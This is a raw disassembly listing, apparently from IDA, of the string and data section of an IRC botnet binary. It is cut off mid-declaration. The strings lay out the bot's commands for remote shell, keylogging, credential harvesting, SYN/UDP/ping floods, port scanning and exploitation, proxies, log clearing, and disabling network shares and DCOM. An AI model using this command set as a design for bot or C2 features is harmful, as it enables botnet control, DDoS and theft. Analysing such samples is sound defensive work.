DATA XREF: sub_40EE72+179Co aLoginList db '-[Login List]-',0 ; DATA XREF: sub_40EE72+177Ao align 4 aIrc_who db 'irc.who',0 ; DATA XREF: sub_40EE72+1761o aCmd db '[CMD]',0 ; DATA XREF: sub_40EE72+1756o align 4 aRemoteShell db 'Remote shell',0 ; DATA XREF: sub_40EE72+1751o align 4 aCom_ocmd_off db 'com.ocmd.off',0 ; DATA XREF: sub_40EE72+1738o align 4 aCom_ocmd db 'com.ocmd',0 ; DATA XREF: sub_40EE72+1723o align 4 aCom_opencmd db 'com.opencmd',0 ; DATA XREF: sub_40EE72+170Eo aCom_dll db 'com.dll',0 ; DATA XREF: sub_40EE72+16F9o aCom_testdlls db 'com.testdlls',0 ; DATA XREF: sub_40EE72+16E4o align 4 aCom_drv db 'com.drv',0 ; DATA XREF: sub_40EE72+16CFo aCom_driveinfo db 'com.driveinfo',0 ; DATA XREF: sub_40EE72+16BAo align 4 aCom_up db 'com.up',0 ; DATA XREF: sub_40EE72+16A5o align 4 aCom_uptime db 'com.uptime',0 ; DATA XREF: sub_40EE72+1690o align 4 aCom_key db 'com.key',0 ; DATA XREF: sub_40EE72+167Bo aCom_harvest db 'com.harvest',0 ; DATA XREF: sub_40EE72+1666o aCom_ps db 'com.ps',0 ; DATA XREF: sub_40EE72+1651o align 4 aCom_procs db 'com.procs',0 ; DATA XREF: sub_40EE72+163Co align 10h aIrc_rm0 db 'irc.rm0',0 ; DATA XREF: sub_40EE72+1627o aIrc_rem0ve db 'irc.rem0ve',0 ; DATA XREF: sub_40EE72+1612o align 4 aCom_si db 'com.si',0 ; DATA XREF: sub_40EE72+15FDo align 4 aCom_sysinfo db 'com.sysinfo',0 ; DATA XREF: sub_40EE72+15E8o unk_432648 db 2 ; DATA XREF: sub_40EE72+15DDo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 75h, 70h db 65h ; e db 72h, 73h, 79h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_28 db ' Failed to start flood thread, error: <%d>.',0 align 4 unk_432694 db 2 ; DATA XREF: sub_40EE72+156Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 75h, 70h db 65h ; e db 72h, 73h, 79h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFloodingSSFo_1 db ' Flooding: (%s:%s) for %s seconds.',0 aDdos_supersyn db 'ddos.supersyn',0 ; DATA XREF: sub_40EE72+14D8o align 4 aCom_ni db 'com.ni',0 ; DATA XREF: sub_40EE72+14C3o align 4 aCom_netinfo db 'com.netinfo',0 ; DATA XREF: sub_40EE72+14AEo aUtil_clg db 'util.clg',0 ; DATA XREF: sub_40EE72+1499o align 4 aUtil_clearlog db 'util.clearlog',0 ; DATA XREF: sub_40EE72+1484o align 4 aIrc_lg db 'irc.lg',0 ; DATA XREF: sub_40EE72+146Fo align 4 aIrc_log db 'irc.log',0 ; DATA XREF: sub_40EE72+145Ao aIrc_al db 'irc.al',0 ; DATA XREF: sub_40EE72+1445o align 4 aIrc_aliases db 'irc.aliases',0 ; DATA XREF: sub_40EE72+1430o aThreads_l db 'threads.l',0 ; DATA XREF: sub_40EE72+141Bo align 4 aThreads_list db 'threads.list',0 ; DATA XREF: sub_40EE72+1406o align 4 dword_432754 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+13D2o dd 2BBBB02h aFailedToReboot db ' Failed to reboot system.',0 align 4 dword_432788 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+13CBo dd 2BBBB02h aRebootingSyste db ' Rebooting system.',0 aCom_rebewt db 'com.rebewt',0 ; DATA XREF: sub_40EE72+13B4o align 10h aIrc_i db 'irc.i',0 ; DATA XREF: sub_40EE72+139Fo align 4 aIrc_id db 'irc.id',0 ; DATA XREF: sub_40EE72+138Ao align 10h aIrc_s db 'irc.s',0 ; DATA XREF: sub_40EE72+1375o align 4 aIrc_status db 'irc.status',0 ; DATA XREF: sub_40EE72+1360o align 4 aIrc_q db 'irc.q',0 ; DATA XREF: sub_40EE72+134Bo align 4 aIrc_quit db 'irc.quit',0 ; DATA XREF: sub_40EE72+1336o align 4 aIrc_d db 'irc.d',0 ; DATA XREF: sub_40EE72+1321o align 10h aIrc_disconnect db 'irc.disconnect',0 ; DATA XREF: sub_40EE72+130Co align 10h aIrc_r db 'irc.r',0 ; DATA XREF: sub_40EE72+12F7o align 4 aIrc_reconnect db 'irc.reconnect',0 ; DATA XREF: sub_40EE72+12E2o align 4 aRoot_st db 'root.st',0 ; DATA XREF: sub_40EE72+12CDo aRoot_stats db 'root.stats',0 ; DATA XREF: sub_40EE72+12B8o align 4 aExploitation db 'Exploitation',0 ; DATA XREF: sub_40EE72+12ADo align 4 aScan db 'Scan',0 ; DATA XREF: sub_40EE72+12A8o align 4 aRoot_stop db 'root.stop',0 ; DATA XREF: sub_40EE72+128Fo align 10h dword_432860 dd 65027302h, 1F727563h, 2E2E1F65h, 0 ; DATA XREF: sub_40EE72+1284o aSecure_0 db 'Secure',0 ; DATA XREF: sub_40EE72+127Fo align 4 aLockdown_stop db 'lockdown.stop',0 ; DATA XREF: sub_40EE72+1266o align 4 dword_432888 dd 6C026302h, 1F656E6Fh, 2E2E1F73h, 0 ; DATA XREF: sub_40EE72+125Bo aClone db 'Clone',0 ; DATA XREF: sub_40EE72+1256o align 10h aClone_off db 'clone.off',0 ; DATA XREF: sub_40EE72+123Do align 4 aCom_ps_off db 'com.ps.off',0 ; DATA XREF: sub_40EE72+1228o align 4 aCom_procs_off db 'com.procs.off',0 ; DATA XREF: sub_40EE72+1213o align 4 aUtil_ff_off db 'util.ff.off',0 ; DATA XREF: sub_40EE72+11FEo aUtil_findfile_ db 'util.findfile.off',0 ; DATA XREF: sub_40EE72+11E9o align 4 dword_4328E8 dd 66027402h, 641F7074h, 2E2E1Fh ; DATA XREF: sub_40EE72+11DEo aDaemon_tftp_of db 'daemon.tftp.off',0 ; DATA XREF: sub_40EE72+11C0o dword_432904 dd 69027002h, 1F671F6Eh, 2E2Eh ; DATA XREF: sub_40EE72+11B5o dword_432910 dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_40EE72+11B0o dword_43291C dd 736F6464h, 6E69702Eh, 666F2E67h, 66h ; DATA XREF: sub_40EE72+1197o dword_43292C dd 64027502h, 2E1F701Fh, 2Eh ; DATA XREF: sub_40EE72+118Co dword_432938 dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_40EE72+1187o dword_432944 dd 736F6464h, 7064752Eh, 66666F2Eh, 0 ; DATA XREF: sub_40EE72+116Eo dword_432954 dd 79027302h, 2E1F6E1Fh, 2Eh ; DATA XREF: sub_40EE72+1163o dword_432960 dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_40EE72+115Eo dword_43296C dd 736F6464h, 6E79732Eh, 66666F2Eh, 0 ; DATA XREF: sub_40EE72+1145o dword_43297C dd 64026402h, 1F731F6Fh, 2E2Eh ; DATA XREF: sub_40EE72+113Ao dword_432988 dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_40EE72+1135o dword_432994 dd 736F6464h, 66666F2Eh, 0 ; DATA XREF: sub_40EE72+111Co dword_4329A0 dd 65027202h, 65726964h, 1F741F63h, 2E2Eh ; DATA XREF: sub_40EE72+1111o dword_4329B0 dd 20504354h, 69646572h, 74636572h, 0 ; DATA XREF: sub_40EE72+110Co aProxy_redirect db 'proxy.redirect.off',0 ; DATA XREF: sub_40EE72+10F3o align 4 dword_4329D4 dd 6F026C02h, 2E1F671Fh, 2Eh ; DATA XREF: sub_40EE72+10E8o dword_4329E0 dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: sub_40EE72+10E3o dword_4329EC dd 2E676F6Ch, 66666Fh ; DATA XREF: sub_40EE72+10CAo dword_4329F4 dd 74026802h, 641F7074h, 2E2E1Fh ; DATA XREF: sub_40EE72+10C2o dword_432A00 dd 6D656164h, 772E6E6Fh, 6F2E6265h, 6666h ; DATA XREF: sub_40EE72+10A4o dword_432A10 dd 6C027202h, 6E69676Fh, 2E1F641Fh, 2Eh ; DATA XREF: sub_40EE72+109Co aDaemon_rlogin_ db 'daemon.rlogin.off',0 ; DATA XREF: sub_40EE72+107Eo align 4 dword_432A34 dd 6F027302h, 1F736B63h, 2E2E1F34h, 0 ; DATA XREF: sub_40EE72+105Co aServer db 'Server',0 ; DATA XREF: sub_40EE72+1057o ; sub_40EE72+1097o ... align 4 aProxy_socks4_0 db 'proxy.socks4.off',0 ; DATA XREF: sub_40EE72+103Eo align 10h aProxy_s4_on db 'proxy.s4.on',0 ; DATA XREF: sub_40EE72+1029o aProxy_socks4_o db 'proxy.socks4.on',0 ; DATA XREF: sub_40EE72+1014o aLd_off db 'ld.off',0 ; DATA XREF: sub_40EE72+FFFo align 4 aLockdown_off db 'lockdown.off',0 ; DATA XREF: sub_40EE72+FEAo align 4 aLd_on db 'ld.on',0 ; DATA XREF: sub_40EE72+FD5o align 4 aLockdown_on db 'lockdown.on',0 ; DATA XREF: sub_40EE72+FC0o aVer db 'ver',0 ; DATA XREF: sub_40EE72+FABo aIrc_version db 'irc.version',0 ; DATA XREF: sub_40EE72+F96o aLo db 'lo',0 ; DATA XREF: sub_40EE72+F81o align 4 aIrc_logout db 'irc.logout',0 ; DATA XREF: sub_40EE72+F6Co align 4 aIrc_di db 'irc.di',0 ; DATA XREF: sub_40EE72+F57o align 10h aIrc_die db 'irc.die',0 ; DATA XREF: sub_40EE72+F42o aRn db 'rn',0 ; DATA XREF: sub_40EE72+F2Do align 4 aIrc_rndnick db 'irc.rndnick',0 ; DATA XREF: sub_40EE72+F15o a63 db '63',0 ; DATA XREF: sub_40EE72+DEEo align 4 asc_432AEC: ; DATA XREF: sub_40EE72+DC6o unicode 0, <)>,0 aChr db '$chr(',0 ; DATA XREF: sub_40EE72+D89o align 4 aServer_0 db '$server',0 ; DATA XREF: sub_40EE72+D7Eo aRndnick db '$rndnick',0 ; DATA XREF: sub_40EE72+D6Do align 4 aChan db '$chan',0 ; DATA XREF: sub_40EE72+D51o align 4 aUser_2 db '$user',0 ; DATA XREF: sub_40EE72+D40o align 4 aMe_0 db '$me',0 ; DATA XREF: sub_40EE72+D2Eo aD db '$%d',0 ; DATA XREF: sub_40EE72+CC0o aD_0 db '$%d-',0 ; DATA XREF: sub_40EE72+C05o align 4 aC_0: ; DATA XREF: sub_40EE72+B19o unicode 0, <c>,0 dword_432B30 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+AE4o dd 2BBBB02h aChatFailedByUn db ' Chat failed by unauthorized user: %s.',0 dword_432B70 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+AD6o dd 2BBBB02h aChatAlreadyAct db ' Chat already active with user: %s.',0 align 10h dword_432BB0 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+AC8o dd 2BBBB02h aFailedToSta_29 db ' Failed to start chat thread, error: <%d>.',0 dword_432BF4 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+A59o dd 2BBBB02h aChatFromUserS_ db ' Chat from user: %s.',0 align 4 aChat db 'CHAT',0 ; DATA XREF: sub_40EE72+9BFo align 4 dword_432C2C dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+99Co dd 2BBBB02h aReceiveFileSFa db ' Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0 dword_432C7C dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+984o ; sub_40EE72+4ABCo dd 2BBBB02h aFailedToSta_30 db ' Failed to start transfer thread, error: <%d>.',0 dword_432CC4 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_40EE72+973o dd 0A0Dh dword_432CDC dd 4E495001h, 47h ; DATA XREF: sub_40EE72+93Fo aSHasJustVersio db '%s has just versioned me.',0 ; DATA XREF: sub_40EE72+8F9o align 10h dword_432D00 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_40EE72+8DCo dd 0D017325h, 0Ah dword_432D1C dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_40EE72+8ABo dword_432D28 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+791o dd 2BBBB02h aReceiveFileSFr db ' Receive file: ',27h,'%s',27h,' from user: %s.',0 aSend_0 db 'SEND',0 ; DATA XREF: sub_40EE72+6E8o align 4 dword_432D6C dd 43434401h, 0 ; DATA XREF: sub_40EE72+6CAo dword_432D74 dd 323333h ; DATA XREF: sub_40EE72+651o ; sub_40EE72+B4Fo ... dword_432D78 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5D2o dd 2BBBB02h aUserSLoggedOut db ' User: %s logged out.',0 align 4 dword_432DA8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5ABo dd 2BBBB02h aJoinedChanne_0 db ' Joined channel: %s.',0 align 4 a353 db '353',0 ; DATA XREF: sub_40EE72+574o aPart db 'PART',0 ; DATA XREF: sub_40EE72+526o ; sub_40EE72+5EFo align 4 aSS_0 db ':%s%s',0 ; DATA XREF: sub_40EE72+4FEo align 4 aNick db 'NICK',0 ; DATA XREF: sub_40EE72+3D0o align 4 aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+371o ; sub_40EE72+613o dword_432E04 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+355o ; sub_40EE72+5FF4o ... dd 2BBBB02h aUserSLoggedO_0 db ' User %s logged out.',0 align 4 aKick db 'KICK',0 ; DATA XREF: sub_40EE72+2E4o align 4 aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+28Do ; sub_40EE72+4EB7o ... align 4 a433 db '433',0 ; DATA XREF: sub_40EE72+262o a@: ; DATA XREF: sub_40EE72+23Ao unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: sub_40EE72+22Ao a005 db '005',0 ; DATA XREF: sub_40EE72+215o a001 db '001',0 ; DATA XREF: sub_40EE72+200o aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+1E4o ; sub_40EE72+3B7o ... align 4 aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+1C3o align 4 aPing db 'PING',0 ; DATA XREF: sub_40EE72+1A9o align 10h asc_432E80: ; DATA XREF: sub_40EE72+19Ao ; sub_40EE72+60FBo unicode 0, <!>,0 asc_432E84 db ' :',0 ; DATA XREF: sub_40EE72+86o ; sub_40EE72:loc_40FA19o align 4 aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_41518A+120o align 4 unk_432E94 db 2 ; DATA XREF: sub_41533B:loc_4153C2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; ╩ db 2, 2 dup(20h) aProcessListFai db 'Process list failed.',0 align 4 unk_432ECC db 2 ; DATA XREF: sub_41533B+80o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; ╩ db 2, 2 dup(20h) aProcessListCom db 'Process list completed.',0 unk_432F04 db 2 ; DATA XREF: sub_41533B+19o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; ╩ db 2, 2 dup(20h) aListingProcess db 'Listing processes:',0 align 4 dword_432F38 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: ___:00415669o dd 2029671Fh, 2BBBB02h aUserLoggedOutS db ' User logged out: <%s@%s>.',0 dword_432F70 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: ___:00415642o dd 2029671Fh, 2BBBB02h aErrorSessionru db ' Error: SessionRun(): <%d>.',0 align 4 dword_432FAC dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: ___:00415622o dd 2029671Fh, 2BBBB02h aUserLoggedInS@ db ' User logged in: <%s@%s>.',0 align 4 aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: ___:004155F2o align 4 dword_432FF8 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: ___:00415561o dd 2029671Fh, 2BBBB02h aErrorGetpeerna db ' Error: getpeername(): <%d>.',0 align 4 dword_433034 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_415685:loc_4156CAo dd 2029671Fh, 2BBBB02h aProtocolString db ' Protocol string too long.',0 dword_43306C dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_4156DF+1Bo dd 2029671Fh, 2BBBB02h, 6F4C2020h, 206E6967h, 656A6572h dd 64657463h, 6552202Ch, 65746F6Dh, 65737520h, 3C203A72h dd 25407325h, 2E3E73h, 7A026E02h, 201F6D1Fh, 6F6C7228h dd 646E6967h, 6C1F702Eh, 2029671Fh, 2BBBB02h, 72452020h dd 3A726F72h, 72657320h, 20726576h, 6C696166h, 202C6465h dd 75746572h, 64656E72h, 253C203Ah, 2E3E64h, 7A026E02h dd 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh, 2029671Fh dd 2BBBB02h, 61462020h, 64656C69h, 206F7420h, 72617473h dd 6C632074h, 746E6569h, 72687420h, 2C646165h, 72726520h dd 203A726Fh, 3E64253Ch, 2Eh, 7A026E02h, 201F6D1Fh, 6F6C7228h dd 646E6967h, 6C1F702Eh, 2029671Fh, 2BBBB02h, 6C432020h dd 746E6569h, 6E6F6320h, 7463656Eh, 206E6F69h, 6D6F7266h dd 3A504920h, 3A732520h, 202C6425h, 76726553h, 74207265h dd 61657268h, 25203A64h, 2E64h, 7A026E02h, 201F6D1Fh, 6F6C7228h dd 646E6967h, 6C1F702Eh, 2029671Fh, 2BBBB02h, 65522020h dd 20796461h, 20646E61h, 74696177h, 20676E69h, 20726F66h dd 6F636E69h, 676E696Dh, 6E6F6320h, 7463656Eh, 736E6F69h dd 2Eh, 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh dd 2029671Fh, 2BBBB02h, 61462020h, 64656C69h, 206F7420h dd 74736E69h, 206C6C61h, 746E6F63h, 2D6C6F72h, 61682043h dd 656C646Eh, 65202C72h, 726F7272h, 253C203Ah, 2E3E64h dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh dd 2029671Fh, 2BBBB02h, 72452020h, 3A726F72h, 41535720h dd 72617453h, 28707574h, 3C203A29h, 2E3E6425h, 2 dup(0) aConst db 'const',0 align 4 dd 0 dword_43327C dd 1 ; DATA XREF: sub_415D01+7o off_433280 dd offset sub_415996 ; DATA XREF: sub_415D01+49r aLetter db 'letter',0 align 10h dd 2, 4159F4h, 706D6F63h, 2 dup(0) dd 3, 415A41h, 6E756F63h, 797274h, 0 dd 4, 415ADFh, 736Fh, 2 dup(0) dd 5, 415B54h dword_4332D4 dd 69257325h, 0 ; DATA XREF: sub_415996+40o ; ___:00415AC0o ... byte_4332DC db 50h ; DATA XREF: ___:00415A63o ; ___:00415A70r db 43h, 2 dup(0) dword_4332E0 dd 7C7325h ; DATA XREF: ___:00415B0Eo ; sub_415D01+39o dword_4332E4 dd 5D73255Bh, 7Ch ; DATA XREF: ___:00415C18o dword_4332EC dd 334B32h ; DATA XREF: ___:00415C08o dword_4332F0 dd 5D64255Bh, 7325h ; DATA XREF: sub_415C5E+3Ao dword_4332F8 dd 5D4D5Bh ; DATA XREF: sub_415C5E+2Co ; sub_415C5E+57o unk_4332FC db 2 ; DATA XREF: sub_415D6A+92o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aIpSPortDIsOp_0 db ' IP: %s Port: %d is open.',0 db 2 db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aScanningIpSPor db ' Scanning IP: %s, Port: %d.',0 align 10h off_433370 dd offset dword_4333A8 ; DATA XREF: sub_415F88+1B3o ; sub_4162AC+17Ao align 8 dd offset dword_4333A0 align 10h off_433380 dd offset dword_43339C ; DATA XREF: sub_4162AC+1E3o dd offset dword_433398 dd offset dword_433394 dd offset dword_433390 dword_433390 dd 5C3A44h ; DATA XREF: sub_415F88+217o ; ___:0043338Co dword_433394 dd 2444h ; DATA XREF: ___:00433388o dword_433398 dd 5C3A43h ; DATA XREF: ___:00433384o dword_43339C dd 2443h ; DATA XREF: ___:off_433380o dword_4333A0 dd 494D4441h, 244Eh ; DATA XREF: ___:00433378o dword_4333A8 dd 24435049h, 0 ; DATA XREF: ___:off_433370o unk_4333B0 db 2 ; DATA XREF: sub_415F88+2E5o ; sub_4162AC+2DBo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; ╩ db 0BBh, 2, 20h aNetapi32_dllCo db ' Netapi32.dll couldn',27h,'t be loaded.',0 align 10h unk_4333F0 db 2 ; DATA XREF: sub_415F88+2CFo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; ╩ db 0BBh, 2, 20h aNetworkSharesD db ' Network shares deleted.',0 align 4 unk_433428 db 2 ; DATA XREF: sub_415F88:loc_4161EAo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; ╩ db 0BBh, 2, 20h aFailedToDelete db ' Failed to delete ',27h,'%S',27h,' share.',0 align 4 unk_433464 db 2 ; DATA XREF: sub_415F88+25Bo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; ╩ db 0BBh, 2, 20h aShareSDeleted_ db ' Share ',27h,'%S',27h,' deleted.',0 align 4 unk_433498 db 2 ; DATA XREF: sub_415F88:loc_416157o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; ╩ db 0BBh, 2, 20h aFailedToDele_0 db ' Failed to delete ',27h,'%s',27h,' share.',0 align 4 unk_4334D4 db 2 ; DATA XREF: sub_415F88+1C8o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; ╩ db 0BBh, 2, 20h aShareSDelete_0 db ' Share ',27h,'%s',27h,' deleted.',0 align 4 unk_433508 db 2 ; DATA XREF: sub_415F88:loc_4160BAo ; sub_4162AC:loc_4163DAo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; ╩ db 0BBh, 2, 20h aAdvapi32_dllCo db ' Advapi32.dll couldn',27h,'t be loaded.',0 align 4 unk_433548 db 2 ; DATA XREF: sub_415F88:loc_4160B3o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; ╩ db 0BBh, 2, 20h aFailedToOpenIp db ' Failed to open IPC$ Restriction registry key.',0 align 4 unk_433594 db 2 ; DATA XREF: sub_415F88:loc_416095o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; ╩ db 0BBh, 2, 20h aRestrictedAcce db ' Restricted access to the IPC$ Share.',0 align 4 unk_4335D8 db 2 ; DATA XREF: sub_415F88+106o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; ╩ db 0BBh, 2, 20h aFailedToRestri db ' Failed to restrict access to the IPC$ Share.',0 align 4 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_415F88+EDo ; sub_4162AC+EDo align 4 unk_433638 db 2 ; DATA XREF: sub_415F88+91o ; sub_4162AC+91o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; ╩ db 0BBh, 2, 20h aFailedToOpenDc db ' Failed to open DCOM registry key.',0 align 4 dword_433678 dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h ; DATA XREF: sub_415F88:loc_415FF5o dd 2202967h, 2002BBBBh, 4F434420h, 6964204Dh, 6C626173h dd 2E6465h unk_4336A4 db 2 ; DATA XREF: sub_415F88+66o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; ╩ db 0BBh, 2, 20h aDisableDcomFai db ' Disable DCOM failed.',0 align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_415F88+54o ; sub_4162AC+54o align 4 word_4336E4 dw 4Eh ; DATA XREF: sub_415F88+38r align 4 unk_4336E8 db 2 ; DATA XREF: sub_4162AC+2C3o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; ╩ db 0BBh, 2, 20h aNetworkSharesA db ' Network shares added.',0 align 4 aC_1 db '%c:\',0 ; DATA XREF: sub_4162AC+230o align 4 aC_2 db '%c$',0 ; DATA XREF: sub_4162AC+219o unk_433728 db 2 ; DATA XREF: sub_4162AC:loc_41644Bo ; sub_4162AC:loc_41651Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; ╩ db 0BBh, 2, 20h aFailedToAddSSh db ' Failed to add ',27h,'%s',27h,' share.',0 align 10h unk_433760 db 2 ; DATA XREF: sub_4162AC+198o ; sub_4162AC+269o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 